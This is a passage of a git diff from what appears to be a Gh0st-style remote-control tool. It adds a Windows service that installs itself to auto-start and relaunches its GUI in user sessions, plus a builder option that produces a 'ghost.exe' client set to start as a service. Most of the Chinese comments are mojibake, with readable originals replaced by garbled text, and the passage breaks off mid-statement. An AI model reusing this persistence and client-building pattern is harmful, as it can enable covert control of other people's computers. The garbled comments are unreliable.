濡傛灉鏈娇鐢ㄨ繖浜涘姛鑳藉苟甯屾湜鍑忓皬 + // 鏈缁堝彲鎵ц鏂囦欢鐨勫ぇ灏忥紝鍒欏簲绉婚櫎涓嬪垪 + // 涓嶉渶瑕佺殑鐗瑰畾鍒濆鍖栦緥绋 + // 鏇存敼鐢ㄤ簬瀛樺偍璁剧疆鐨勬敞鍐岃〃椤 + // TODO: 搴旈傚綋淇敼璇ュ瓧绗︿覆锛 + // 渚嬪淇敼涓哄叕鍙告垨缁勭粐鍚 SetRegistryKey(_T("YAMA")); CMy2015RemoteDlg dlg(nullptr); m_pMainWnd = &dlg; INT_PTR nResponse = dlg.DoModal(); if (nResponse == IDOK) { - // TODO: 在此放置处理何时用 - // “确定”来关闭对话框的代码 + // TODO: 鍦ㄦ鏀剧疆澶勭悊浣曟椂鐢 + // 鈥滅‘瀹氣濇潵鍏抽棴瀵硅瘽妗嗙殑浠g爜 } else if (nResponse == IDCANCEL) { - // TODO: 在此放置处理何时用 - // “取消”来关闭对话框的代码 + // TODO: 鍦ㄦ鏀剧疆澶勭悊浣曟椂鐢 + // 鈥滃彇娑堚濇潵鍏抽棴瀵硅瘽妗嗙殑浠g爜 } - // 删除上面创建的 shell 管理器。 + // 鍒犻櫎涓婇潰鍒涘缓鐨 shell 绠$悊鍣ㄣ if (pShellManager != NULL) { delete pShellManager; } - // 由于对话框已关闭,所以将返回 FALSE 以便退出应用程序, - // 而不是启动应用程序的消息泵。 + // 鐢变簬瀵硅瘽妗嗗凡鍏抽棴锛屾墍浠ュ皢杩斿洖 FALSE 浠ヤ究閫鍑哄簲鐢ㄧ▼搴忥紝 + // 鑰屼笉鏄惎鍔ㄥ簲鐢ㄧ▼搴忕殑娑堟伅娉点 return FALSE; } @@ -186,5 +313,10 @@ int CMy2015RemoteApp::ExitInstance() SAFE_DELETE(m_iniFile); + // 鍙湁鍦ㄤ唬鐞嗘ā寮忛鍑烘椂鎵嶅仠姝㈡湇鍔 + if (IsAgentMode()) { + ServerService_Stop(); + } + return CWinApp::ExitInstance(); } diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index f1bafba..32ddc08 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index bba1c74..0c7b1b6 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -316,6 +316,8 @@ + + @@ -398,6 +400,8 @@ + + diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp index 4bf7208..2bf6f73 100644 --- a/server/2015Remote/BuildDlg.cpp +++ b/server/2015Remote/BuildDlg.cpp @@ -18,6 +18,7 @@ enum Index { IndexGhost, IndexServerDll, IndexTinyRun, + IndexGhostMsc, OTHER_ITEM }; @@ -192,6 +193,12 @@ void CBuildDlg::OnBnClickedOk() typ = CLIENT_TYPE_ONE; szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize); break; + case IndexGhostMsc: + file = "ghost.exe"; + typ = CLIENT_TYPE_ONE; + startup = Startup_GhostMsc, + szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize); + break; case IndexServerDll: file = "ServerDll.dll"; typ = CLIENT_TYPE_DLL; @@ -374,6 +381,7 @@ BOOL CBuildDlg::OnInitDialog() m_ComboExe.InsertString(IndexGhost, "ghost.exe"); m_ComboExe.InsertString(IndexServerDll, "ServerDll.dll"); m_ComboExe.InsertString(IndexTinyRun, "TinyRun.dll"); + m_ComboExe.InsertString(IndexGhostMsc, "ghost.exe - Windows 服务"); m_ComboExe.InsertString(OTHER_ITEM, CString("选择文件")); m_ComboExe.SetCurSel(IndexTestRun_MemDLL); diff --git a/server/2015Remote/ScreenSpyDlg.cpp b/server/2015Remote/ScreenSpyDlg.cpp index 88331f9..07384c1 100644 --- a/server/2015Remote/ScreenSpyDlg.cpp +++ b/server/2015Remote/ScreenSpyDlg.cpp @@ -288,6 +288,7 @@ VOID CScreenSpyDlg::OnClose() VOID CScreenSpyDlg::OnReceiveComplete() { + if (m_bIsClosed) return; assert (m_ContextObject); auto cmd = m_ContextObject->InDeCompressedBuffer.GetBYTE(0); LPBYTE szBuffer = m_ContextObject->InDeCompressedBuffer.GetBuffer(); @@ -357,6 +358,7 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(bool keyFrame) m_FrameID++; #endif LPVOID FirstScreenData = m_BitmapData_Full; + if (FirstScreenData == NULL) return; LPVOID NextScreenData = m_ContextObject->InDeCompressedBuffer.GetBuffer(ulHeadLength); ULONG NextScreenLength = m_ContextObject->InDeCompressedBuffer.GetBufferLength() - ulHeadLength; diff --git a/server/2015Remote/ServerServiceWrapper.cpp b/server/2015Remote/ServerServiceWrapper.cpp new file mode 100644 index 0000000..814c204 --- /dev/null +++ b/server/2015Remote/ServerServiceWrapper.cpp @@ -0,0 +1,523 @@ +#include "stdafx.h" +#include "ServerServiceWrapper.h" +#include "ServerSessionMonitor.h" +#include +#include + + +// 闈欐佸彉閲 +static SERVICE_STATUS g_ServiceStatus; +static SERVICE_STATUS_HANDLE g_StatusHandle = NULL; +static HANDLE g_StopEvent = INVALID_HANDLE_VALUE; + +// 鍓嶅悜澹版槑 +static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv); +static void WINAPI ServiceCtrlHandler(DWORD ctrlCode); +static void ServiceWriteLog(const char* message); + +// 鑾峰彇鏃ュ織鏂囦欢璺緞锛堢▼搴忔墍鍦ㄧ洰褰曪級 +static void GetServiceLogPath(char* logPath, size_t size) +{ + char exePath[MAX_PATH]; + if (GetModuleFileNameA(NULL, exePath, MAX_PATH)) { + char* lastSlash = strrchr(exePath, '\\'); + if (lastSlash) { + *lastSlash = '\0'; + sprintf_s(logPath, size, "%s\\YamaService.log", exePath); + return; + } + } + // 澶囩敤璺緞锛歐indows涓存椂鐩綍 + char tempPath[MAX_PATH]; + if (GetTempPathA(MAX_PATH, tempPath)) { + sprintf_s(logPath, size, "%sYamaService.log", tempPath); + } else { + strncpy_s(logPath, size, "YamaService.log", _TRUNCATE); + } +} + +// 鏃ュ織鍑芥暟 +static void ServiceWriteLog(const char* message) +{ + char logPath[MAX_PATH]; + GetServiceLogPath(logPath, sizeof(logPath)); + FILE* f = fopen(logPath, "a"); + if (f) { + SYSTEMTIME st; + GetLocalTime(&st); + fprintf(f, "[%04d-%02d-%02d %02d:%02d:%02d] %s\n", + st.wYear, st.wMonth, st.wDay, + st.wHour, st.wMinute, st.wSecond, + message); + fclose(f); + } +} + +BOOL ServerService_CheckStatus(BOOL* registered, BOOL* running, + char* exePath, size_t exePathSize) +{ + *registered = FALSE; + *running = FALSE; + if (exePath && exePathSize > 0) { + exePath[0] = '\0'; + } + + // 鎵撳紑 SCM + SC_HANDLE hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT); + if (!hSCM) { + return FALSE; + } + + // 鎵撳紑鏈嶅姟 + SC_HANDLE hService = OpenServiceA( + hSCM, + SERVER_SERVICE_NAME, + SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG); + if (!hService) { + CloseServiceHandle(hSCM); + return FALSE; // 鏈敞鍐 + } + + *registered = TRUE; + + // 鑾峰彇鏈嶅姟鐘舵 + SERVICE_STATUS_PROCESS ssp; + DWORD bytesNeeded = 0; + memset(&ssp, 0, sizeof(ssp)); + if (QueryServiceStatusEx( + hService, + SC_STATUS_PROCESS_INFO, + (LPBYTE)&ssp, + sizeof(SERVICE_STATUS_PROCESS), + &bytesNeeded)) + { + *running = (ssp.dwCurrentState == SERVICE_RUNNING); + } + + // 鑾峰彇 EXE 璺緞 + if (exePath && exePathSize > 0) { + DWORD bufSize = 0; + QueryServiceConfigA(hService, NULL, 0, &bufSize); + + if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) { + LPQUERY_SERVICE_CONFIGA pConfig = (LPQUERY_SERVICE_CONFIGA)malloc(bufSize); + if (pConfig) { + if (QueryServiceConfigA(hService, pConfig, bufSize, &bufSize)) { + strncpy_s(exePath, exePathSize, pConfig->lpBinaryPathName, _TRUNCATE); + } + free(pConfig); + } + } + } + + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + return TRUE; +} + +int ServerService_StartSimple(void) +{ + // 鎵撳紑SCM + SC_HANDLE hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT); + if (!hSCM) { + return (int)GetLastError(); + } + + // 鎵撳紑鏈嶅姟骞跺惎鍔 + SC_HANDLE hService = OpenServiceA(hSCM, SERVER_SERVICE_NAME, SERVICE_START); + if (!hService) { + int err = (int)GetLastError(); + CloseServiceHandle(hSCM); + return err; + } + + // 鍚姩鏈嶅姟 + BOOL ok = StartServiceA(hService, 0, NULL); + int err = ok ? ERROR_SUCCESS : (int)GetLastError(); + + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + + return err; +} + +int ServerService_Run(void) +{ + SERVICE_TABLE_ENTRY ServiceTable[2]; + ServiceTable[0].lpServiceName = (LPSTR)SERVER_SERVICE_NAME; + ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain; + ServiceTable[1].lpServiceName = NULL; + ServiceTable[1].lpServiceProc = NULL; + + ServiceWriteLog("========================================"); + ServiceWriteLog("ServerService_Run() called"); + + if (StartServiceCtrlDispatcher(ServiceTable) == FALSE) { + DWORD err = GetLastError(); + char buffer[256]; + sprintf_s(buffer, sizeof(buffer), "StartServiceCtrlDispatcher failed: %d", (int)err); + ServiceWriteLog(buffer); + return (int)err; + } + return ERROR_SUCCESS; +} + +int ServerService_Stop(void) +{ + // 鎵撳紑SCM + SC_HANDLE hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT); + if (!hSCM) { + return (int)GetLastError(); + } + + // 鎵撳紑鏈嶅姟 + SC_HANDLE hService = OpenServiceA(hSCM, SERVER_SERVICE_NAME, SERVICE_STOP | SERVICE_QUERY_STATUS); + if (!hService) { + int err = (int)GetLastError(); + CloseServiceHandle(hSCM); + return err; + } + + // 鏌ヨ褰撳墠鐘舵 + SERVICE_STATUS status; + if (!QueryServiceStatus(hService, &status)) { + int err = (int)GetLastError(); + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + return err; + } + + // 濡傛灉鏈嶅姟鏈繍琛岋紝鐩存帴杩斿洖鎴愬姛 + if (status.dwCurrentState == SERVICE_STOPPED) { + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + return ERROR_SUCCESS; + } + + // 鍙戦佸仠姝㈡帶鍒跺懡浠 + if (!ControlService(hService, SERVICE_CONTROL_STOP, &status)) { + DWORD err = GetLastError(); + if (err != ERROR_SERVICE_NOT_ACTIVE) { + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + return (int)err; + } + } + + // 绛夊緟鏈嶅姟鍋滄锛堟渶澶30绉掞級 + int waitCount = 0; + while (status.dwCurrentState != SERVICE_STOPPED && waitCount < 30) { + Sleep(1000); + waitCount++; + if (!QueryServiceStatus(hService, &status)) { + break; + } + } + + int result = (status.dwCurrentState == SERVICE_STOPPED) ? ERROR_SUCCESS : ERROR_TIMEOUT; + + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + + return result; +} + +static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv) +{ + (void)argc; + (void)argv; + + ServiceWriteLog("ServiceMain() called"); + + g_StatusHandle = RegisterServiceCtrlHandler( + SERVER_SERVICE_NAME, + ServiceCtrlHandler + ); + + if (g_StatusHandle == NULL) { + ServiceWriteLog("RegisterServiceCtrlHandler failed"); + return; + } + + ZeroMemory(&g_ServiceStatus, sizeof(g_ServiceStatus)); + g_ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; + g_ServiceStatus.dwCurrentState = SERVICE_START_PENDING; + g_ServiceStatus.dwControlsAccepted = 0; + g_ServiceStatus.dwWin32ExitCode = 0; + g_ServiceStatus.dwServiceSpecificExitCode = 0; + g_ServiceStatus.dwCheckPoint = 0; + g_ServiceStatus.dwWaitHint = 0; + + SetServiceStatus(g_StatusHandle, &g_ServiceStatus); + + g_StopEvent = CreateEvent(NULL, TRUE, FALSE, NULL); + if (g_StopEvent == NULL) { + ServiceWriteLog("CreateEvent failed"); + g_ServiceStatus.dwCurrentState = SERVICE_STOPPED; + g_ServiceStatus.dwWin32ExitCode = GetLastError(); + SetServiceStatus(g_StatusHandle, &g_ServiceStatus); + return; + } + + g_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP; + g_ServiceStatus.dwCurrentState = SERVICE_RUNNING; + g_ServiceStatus.dwWin32ExitCode = 0; + g_ServiceStatus.dwCheckPoint = 0; + + SetServiceStatus(g_StatusHandle, &g_ServiceStatus); + ServiceWriteLog("Service is now running"); + + HANDLE hThread = CreateThread(NULL, 0, ServerService_WorkerThread, NULL, 0, NULL); + if (hThread) { + WaitForSingleObject(hThread, INFINITE); + CloseHandle(hThread); + } + + CloseHandle(g_StopEvent); + + g_ServiceStatus.dwControlsAccepted = 0; + g_ServiceStatus.dwCurrentState = SERVICE_STOPPED; + g_ServiceStatus.dwWin32ExitCode = 0; + g_ServiceStatus.dwCheckPoint = 3; + + SetServiceStatus(g_StatusHandle, &g_ServiceStatus); + ServiceWriteLog("Service stopped"); +} + +static void WINAPI ServiceCtrlHandler(DWORD ctrlCode) +{ + switch (ctrlCode) { + case SERVICE_CONTROL_STOP: + ServiceWriteLog("SERVICE_CONTROL_STOP received"); + + if (g_ServiceStatus.dwCurrentState != SERVICE_RUNNING) + break; + + g_ServiceStatus.dwControlsAccepted = 0; + g_ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING; + g_ServiceStatus.dwWin32ExitCode = 0; + g_ServiceStatus.dwCheckPoint = 4; + g_ServiceStatus.dwWaitHint = 0; + + SetServiceStatus(g_StatusHandle, &g_ServiceStatus); + SetEvent(g_StopEvent); + break; + + case SERVICE_CONTROL_INTERROGATE: + SetServiceStatus(g_StatusHandle, &g_ServiceStatus); + break; + + default: + break; + } +} + +// 鏈嶅姟宸ヤ綔绾跨▼ +DWORD WINAPI ServerService_WorkerThread(LPVOID lpParam) +{ + (void)lpParam; + int heartbeatCount = 0; + char buf[128]; + + ServiceWriteLog("========================================"); + ServiceWriteLog("Worker thread started"); + ServiceWriteLog("Service will launch Yama GUI in user sessions"); + + // 鍒濆鍖栦細璇濈洃鎺у櫒 + ServerSessionMonitor monitor; + ServerSessionMonitor_Init(&monitor); + + if (!ServerSessionMonitor_Start(&monitor)) { + ServiceWriteLog("ERROR: Failed to start session monitor"); + ServerSessionMonitor_Cleanup(&monitor); + return ERROR_SERVICE_SPECIFIC_ERROR; + } + + ServiceWriteLog("Session monitor started successfully"); + ServiceWriteLog("Yama GUI will be launched automatically in user sessions"); + + // 涓诲惊鐜紝鍙瓑寰呭仠姝俊鍙 + while (WaitForSingleObject(g_StopEvent, 10000) != WAIT_OBJECT_0) { + heartbeatCount++; + if (heartbeatCount % 6 == 0) { // 姣60绉掕褰曚竴娆★紙10绉 * 6 = 60绉掞級 + sprintf_s(buf, sizeof(buf), "Service heartbeat - uptime: %d minutes", heartbeatCount / 6); + ServiceWriteLog(buf); + } + } + + ServiceWriteLog("Stop signal received"); + ServiceWriteLog("Stopping session monitor..."); + ServerSessionMonitor_Stop(&monitor); + ServerSessionMonitor_Cleanup(&monitor); + + ServiceWriteLog("Worker thread exiting"); + ServiceWriteLog("========================================"); + return ERROR_SUCCESS; +} + +BOOL ServerService_Install(void) +{ + SC_HANDLE schSCManager = OpenSCManager( + NULL, + NULL, + SC_MANAGER_ALL_ACCESS + ); + + if (schSCManager == NULL) { + Mprintf("ERROR: OpenSCManager failed (%d)\n", (int)GetLastError()); + Mprintf("Please run as Administrator\n"); + + return FALSE; + } + + char szPath[MAX_PATH]; + if (!GetModuleFileNameA(NULL, szPath, MAX_PATH)) { + Mprintf("ERROR: GetModuleFileName failed (%d)\n", (int)GetLastError()); + CloseServiceHandle(schSCManager); + return FALSE; + } + + // 娣诲姞 -service 鍙傛暟 + char szPathWithArg[MAX_PATH + 32]; + sprintf_s(szPathWithArg, sizeof(szPathWithArg), "\"%s\" -service", szPath); + + Mprintf("Installing service...\n"); + Mprintf("Executable path: %s\n", szPathWithArg); + + SC_HANDLE schService = CreateServiceA( + schSCManager, + SERVER_SERVICE_NAME, + SERVER_SERVICE_DISPLAY, + SERVICE_ALL_ACCESS, + SERVICE_WIN32_OWN_PROCESS, + SERVICE_AUTO_START, + SERVICE_ERROR_NORMAL, + szPathWithArg, + NULL, NULL, NULL, NULL, NULL + ); + + if (schService == NULL) { + DWORD err = GetLastError(); + if (err == ERROR_SERVICE_EXISTS) { + Mprintf("INFO: Service already exists\n"); + schService = OpenServiceA(schSCManager, SERVER_SERVICE_NAME, SERVICE_ALL_ACCESS); + if (schService) { + Mprintf("SUCCESS: Service is already installed\n"); + CloseServiceHandle(schService); + } + return TRUE; + } + else if (err == ERROR_ACCESS_DENIED) { + Mprintf("ERROR: Access denied. Please run as Administrator\n"); + } + else { + Mprintf("ERROR: CreateService failed (%d)\n", (int)err); + } + CloseServiceHandle(schSCManager); + return FALSE; + } + + Mprintf("SUCCESS: Service created successfully\n"); + + // 璁剧疆鏈嶅姟鎻忚堪 + SERVICE_DESCRIPTION sd; + sd.lpDescription = (LPSTR)SERVER_SERVICE_DESC; + ChangeServiceConfig2(schService, SERVICE_CONFIG_DESCRIPTION, &sd); + + // 绔嬪嵆鍚姩鏈嶅姟 + DWORD err = 0; + Mprintf("Starting service...\n"); + if (StartServiceA(schService, 0, NULL)) { + Mprintf("SUCCESS: Service started successfully\n"); + Sleep(2000); + + SERVICE_STATUS status; + if (QueryServiceStatus(schService, &status)) { + if (status.dwCurrentState == SERVICE_RUNNING) { + Mprintf("SUCCESS: Service is running\n"); + } + else { + Mprintf("WARNING: Service state: %d\n", (int)status.dwCurrentState); + } + } + } + else { + err = GetLastError(); + if (err == ERROR_SERVICE_ALREADY_RUNNING) { + Mprintf("INFO: Service is already running\n"); + err = 0; + } + else { + Mprintf("WARNING: StartService failed (%d)\n", (int)err); + } + } + + CloseServiceHandle(schService); + CloseServiceHandle(schSCManager); + return err == 0; +} + +void ServerService_Uninstall(void) +{ + SC_HANDLE schSCManager = OpenSCManager( + NULL, + NULL, + SC_MANAGER_ALL_ACCESS + ); + + if (schSCManager == NULL) { + Mprintf("ERROR: OpenSCManager failed (%d)\n", (int)GetLastError()); + return; + } + + SC_HANDLE schService = OpenServiceA( + schSCManager, + SERVER_SERVICE_NAME, + SERVICE_STOP | DELETE | SERVICE_QUERY_STATUS + ); + + if (schService == NULL) { + Mprintf("ERROR: OpenService failed (%d)\n", (int)GetLastError()); + CloseServiceHandle(schSCManager); + return; + } + + // 鍋滄鏈嶅姟 + SERVICE_STATUS status; + Mprintf("Stopping service...\n"); + if (ControlService(schService, SERVICE_CONTROL_STOP, &status)) { + Mprintf("Waiting for service to stop"); + Sleep(1000); + + int waitCount = 0; + while (QueryServiceStatus(schService, &status) && waitCount < 30) { + if (status.dwCurrentState == SERVICE_STOP_PENDING) { + Mprintf("."); + Sleep(1000); + waitCount++; + } + else { + break; + } + } + Mprintf("\n"); + } + else { + DWORD err = GetLastError(); + if (err != ERROR_SERVICE_NOT_ACTIVE) { + Mprintf("WARNING: Failed to stop service (%d)\n", (int)err); + } + } + + // 鍒犻櫎鏈嶅姟 + Mprintf("Deleting service...\n"); + if (DeleteService(schService)) { + Mprintf("SUCCESS: Service uninstalled successfully\n"); + } + else { + Mprintf("ERROR: DeleteService failed (%d)\n", (int)GetLastError()); + } + + CloseServiceHandle(schService); + CloseServiceHandle(schSCManager); +} diff --git a/server/2015Remote/ServerServiceWrapper.h b/server/2015Remote/ServerServiceWrapper.h new file mode 100644 index 0000000..64823e6 --- /dev/null +++ b/server/2015Remote/ServerServiceWrapper.h @@ -0,0 +1,64 @@ +#ifndef SERVER_SERVICE_WRAPPER_H +#define SERVER_SERVICE_WRAPPER_H + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +// 鏈嶅姟閰嶇疆锛氭湇鍔$浣跨敤涓嶅悓鐨勬湇鍔″悕 +#define SERVER_SERVICE_NAME "YamaControlService" +#define SERVER_SERVICE_DISPLAY "Yama Control Service" +#define SERVER_SERVICE_DESC "Provides remote desktop control server functionality" + +/* +# 鍋滄鏈嶅姟 +net stop YamaControlService + +# 鏌ョ湅鐘舵侊紙搴旇鏄剧ず STOPPED锛 +sc query YamaControlService + +# 鍚姩鏈嶅姟 +net start YamaControlService + +# 鍐嶆鏌ョ湅鐘舵侊紙搴旇鏄剧ず RUNNING锛 +sc query YamaControlService +*/ + +// 妫鏌ユ湇鍔$姸鎬 +// 鍙傛暟: +// registered - 杈撳嚭鍙傛暟锛屾湇鍔℃槸鍚﹀凡娉ㄥ唽 +// running - 杈撳嚭鍙傛暟锛屾湇鍔℃槸鍚︽鍦ㄨ繍琛 +// exePath - 杈撳嚭鍙傛暟锛屾湇鍔″彲鎵ц鏂囦欢璺緞锛堝彲涓篘ULL锛 +// exePathSize - exePath缂撳啿鍖哄ぇ灏 +// 杩斿洖: 鎴愬姛杩斿洖TRUE +BOOL ServerService_CheckStatus(BOOL* registered, BOOL* running, + char* exePath, size_t exePathSize); + +// 绠鍗曞惎鍔ㄦ湇鍔 +// 杩斿洖: ERROR_SUCCESS 鎴栭敊璇爜 +int ServerService_StartSimple(void); + +// 杩愯鏈嶅姟锛堜綔涓烘湇鍔′富鍏ュ彛锛 +// 杩斿洖: ERROR_SUCCESS 鎴栭敊璇爜 +int ServerService_Run(void); + +// 鍋滄鏈嶅姟 +// 杩斿洖: ERROR_SUCCESS 鎴栭敊璇爜 +int ServerService_Stop(void); + +// 瀹夎鏈嶅姟 +BOOL ServerService_Install(void); + +// 鍗歌浇鏈嶅姟 +void ServerService_Uninstall(void); + +// 鏈嶅姟宸ヤ綔绾跨▼ +DWORD WINAPI ServerService_WorkerThread(LPVOID lpParam); + +#ifdef __cplusplus +} +#endif + +#endif /* SERVER_SERVICE_WRAPPER_H */ diff --git a/server/2015Remote/ServerSessionMonitor.cpp b/server/2015Remote/ServerSessionMonitor.cpp new file mode 100644 index 0000000..804776a --- /dev/null +++ b/server/2015Remote/ServerSessionMonitor.cpp @@ -0,0 +1,570 @@ +#include "stdafx.h" +#include "ServerSessionMonitor.h" +#include +#include +#include + +#pragma comment(lib, "userenv.lib") + +// 鍔ㄦ佹暟缁勫垵濮嬪閲 +#define INITIAL_CAPACITY 4 + +// 鍓嶅悜澹版槑 +static DWORD WINAPI MonitorThreadProc(LPVOID param); +static void MonitorLoop(ServerSessionMonitor* self); +static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId); +static BOOL IsGuiRunningInSession(ServerSessionMonitor* self, DWORD sessionId); +static void TerminateAllGui(ServerSessionMonitor* self); +static void CleanupDeadProcesses(ServerSessionMonitor* self); +static void ServerMonitor_WriteLog(const char* message); + +// 鍔ㄦ佹暟缁勮緟鍔╁嚱鏁 +static void AgentArray_Init(ServerAgentProcessArray* arr); +static void AgentArray_Free(ServerAgentProcessArray* arr); +static BOOL AgentArray_Add(ServerAgentProcessArray* arr, const ServerAgentProcessInfo* info); +static void AgentArray_RemoveAt(ServerAgentProcessArray* arr, size_t index); + +// ============================================ +// 鍔ㄦ佹暟缁勫疄鐜 +// ============================================ + +static void AgentArray_Init(ServerAgentProcessArray* arr) +{ + arr->items = NULL; + arr->count = 0; + arr->capacity = 0; +} + +static void AgentArray_Free(ServerAgentProcessArray* arr) +{ + if (arr->items) { + free(arr->items); + arr->items = NULL; + } + arr->count = 0; + arr->capacity = 0; +} + +static BOOL AgentArray_Add(ServerAgentProcessArray* arr, const ServerAgentProcessInfo* info) +{ + // 闇瑕佹墿瀹 + if (arr->count >= arr->capacity) { + size_t newCapacity = arr->capacity == 0 ? INITIAL_CAPACITY : arr->capacity * 2; + ServerAgentProcessInfo* newItems = (ServerAgentProcessInfo*)realloc( + arr->items, newCapacity * sizeof(ServerAgentProcessInfo)); + if (!newItems) { + return FALSE; + } + arr->items = newItems; + arr->capacity = newCapacity; + } + + arr->items[arr->count] = *info; + arr->count++; + return TRUE; +} + +static void AgentArray_RemoveAt(ServerAgentProcessArray* arr, size_t index) +{ + if (index >= arr->count) { + return; + } + + // 鍚庨潰鐨勫厓绱犲墠绉 + for (size_t i = index; i < arr->count - 1; i++) { + arr->items[i] = arr->items[i + 1]; + } + arr->count--; +} + +// ============================================ +// 鏃ュ織鍑芥暟 +// ============================================ + +// 鑾峰彇鏃ュ織鏂囦欢璺緞锛堢▼搴忔墍鍦ㄧ洰褰曪級 +static void GetMonitorLogPath(char* logPath, size_t size) +{ + char exePath[MAX_PATH]; + if (GetModuleFileNameA(NULL, exePath, MAX_PATH)) { + char* lastSlash = strrchr(exePath, '\\'); + if (lastSlash) { + *lastSlash = '\0'; + sprintf_s(logPath, size, "%s\\YamaSessionMonitor.log", exePath); + return; + } + } + // 澶囩敤璺緞锛歐indows涓存椂鐩綍 + char tempPath[MAX_PATH]; + if (GetTempPathA(MAX_PATH, tempPath)) { + sprintf_s(logPath, size, "%sYamaSessionMonitor.log", tempPath); + } else { + strncpy_s(logPath, size, "YamaSessionMonitor.log", _TRUNCATE); + } +} + +static void ServerMonitor_WriteLog(const char* message) +{ + char logPath[MAX_PATH]; + GetMonitorLogPath(logPath, sizeof(logPath)); + FILE* f = fopen(logPath, "a"); + if (f) { + SYSTEMTIME st; + GetLocalTime(&st); + fprintf(f, "[%04d-%02d-%02d %02d:%02d:%02d] %s\n", + st.wYear, st.wMonth, st.wDay, + st.wHour, st.wMinute, st.wSecond, message); + fclose(f); + } +} + +// ============================================ +// 鍏叡鎺ュ彛瀹炵幇 +// ============================================ + +void ServerSessionMonitor_Init(ServerSessionMonitor* self) +{ + self->monitorThread = NULL; + self->running = FALSE; + InitializeCriticalSection(&self->csProcessList); + AgentArray_Init(&self->agentProcesses); +} + +void ServerSessionMonitor_Cleanup(ServerSessionMonitor* self) +{ + ServerSessionMonitor_Stop(self); + DeleteCriticalSection(&self->csProcessList); + AgentArray_Free(&self->agentProcesses); +} + +BOOL ServerSessionMonitor_Start(ServerSessionMonitor* self) +{ + if (self->running) { + ServerMonitor_WriteLog("Monitor already running"); + return TRUE; + } + + ServerMonitor_WriteLog("========================================"); + ServerMonitor_WriteLog("Starting server session monitor..."); + + self->running = TRUE; + self->monitorThread = CreateThread(NULL, 0, MonitorThreadProc, self, 0, NULL); + + if (!self->monitorThread) { + ServerMonitor_WriteLog("ERROR: Failed to create monitor thread"); + self->running = FALSE; + return FALSE; + } + + ServerMonitor_WriteLog("Server session monitor thread created"); + return TRUE; +} + +void ServerSessionMonitor_Stop(ServerSessionMonitor* self) +{ + if (!self->running) { + return; + } + + ServerMonitor_WriteLog("Stopping server session monitor..."); + self->running = FALSE; + + if (self->monitorThread) { + DWORD waitResult = WaitForSingleObject(self->monitorThread, 10000); + if (waitResult == WAIT_TIMEOUT) { + // 绾跨▼鏈湪瑙勫畾鏃堕棿鍐呴鍑猴紝寮哄埗缁堟 + ServerMonitor_WriteLog("WARNING: Monitor thread did not exit in time, terminating..."); + TerminateThread(self->monitorThread, 1); + } + CloseHandle(self->monitorThread); + self->monitorThread = NULL; + } + + // 缁堟鎵鏈塆UI杩涚▼ + ServerMonitor_WriteLog("Terminating all GUI processes..."); + // TerminateAllGui(self); + + ServerMonitor_WriteLog("Server session monitor stopped"); + ServerMonitor_WriteLog("========================================"); +} + +// ============================================ +// 鍐呴儴鍑芥暟瀹炵幇 +// ============================================ + +static DWORD WINAPI MonitorThreadProc(LPVOID param) +{ + ServerSessionMonitor* monitor = (ServerSessionMonitor*)param; + MonitorLoop(monitor); + return 0; +} + +static void MonitorLoop(ServerSessionMonitor* self) +{ + int loopCount = 0; + char buf[256]; + + ServerMonitor_WriteLog("Monitor loop started"); + + while (self->running) { + loopCount++; + + // 娓呯悊宸茬粓姝㈢殑杩涚▼ + CleanupDeadProcesses(self); + + // 鏋氫妇鎵鏈変細璇 + PWTS_SESSION_INFO pSessionInfo = NULL; + DWORD dwCount = 0; + + if (WTSEnumerateSessions(WTS_CURRENT_SERVER_HANDLE, 0, 1, + &pSessionInfo, &dwCount)) { + + BOOL foundActiveSession = FALSE; + + for (DWORD i = 0; i < dwCount; i++) { + if (pSessionInfo[i].State == WTSActive) { + DWORD sessionId = pSessionInfo[i].SessionId; + foundActiveSession = TRUE; + + // 璁板綍浼氳瘽锛堟瘡5娆″惊鐜褰曚竴娆★紝閬垮厤鏃ュ織杩囧锛 + if (loopCount % 5 == 1) { + sprintf_s(buf, sizeof(buf), "Active session found: ID=%d, Name=%s", + (int)sessionId, + pSessionInfo[i].pWinStationName); + ServerMonitor_WriteLog(buf); + } + + // 妫鏌UI鏄惁鍦ㄨ浼氳瘽涓繍琛 + if (!IsGuiRunningInSession(self, sessionId)) { + sprintf_s(buf, sizeof(buf), "GUI not running in session %d, launching...", (int)sessionId); + ServerMonitor_WriteLog(buf); + + if (LaunchGuiInSession(self, sessionId)) { + ServerMonitor_WriteLog("GUI launched successfully"); + // 缁欑▼搴忎竴浜涙椂闂村惎鍔 + Sleep(2000); + } + else { + ServerMonitor_WriteLog("Failed to launch GUI"); + } + } + + // 鍙鐞嗙涓涓椿鍔ㄤ細璇 + break; + } + } + + if (!foundActiveSession && loopCount % 5 == 1) { + ServerMonitor_WriteLog("No active sessions found"); + } + + WTSFreeMemory(pSessionInfo); + } + else { + if (loopCount % 5 == 